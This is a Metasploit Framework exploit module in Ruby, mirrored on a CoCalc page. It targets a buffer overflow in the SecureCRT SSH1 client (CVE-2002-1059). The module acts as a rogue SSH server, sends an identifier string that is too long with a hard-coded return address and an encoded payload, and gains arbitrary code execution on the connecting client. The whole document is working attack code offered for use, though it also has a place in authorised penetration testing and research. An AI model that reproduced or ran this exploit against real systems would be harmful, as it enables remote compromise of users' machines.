CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/securecrt_ssh1.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'SecureCRT SSH1 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in SecureCRT <= 4.0
16
Beta 2. By sending a vulnerable client an overly long
17
SSH1 protocol identifier string, it is possible to execute
18
arbitrary code.
19
20
This module has only been tested on SecureCRT 3.4.4.
21
},
22
'Author' => 'MC',
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2002-1059' ],
27
[ 'OSVDB', '4991' ],
28
[ 'BID', '5287' ],
29
],
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'process',
33
},
34
'Payload' =>
35
{
36
'Space' => 400,
37
'BadChars' => "\x00",
38
'MaxNops' => 0,
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
45
],
46
'Privileged' => false,
47
'DisclosureDate' => '2002-07-23',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
53
])
54
end
55
56
def on_client_connect(client)
57
return if ((p = regenerate_payload(client)) == nil)
58
59
buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
60
buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
61
62
print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
63
64
client.put(buffer)
65
handler
66
67
service.close_client(client)
68
end
69
end
70
71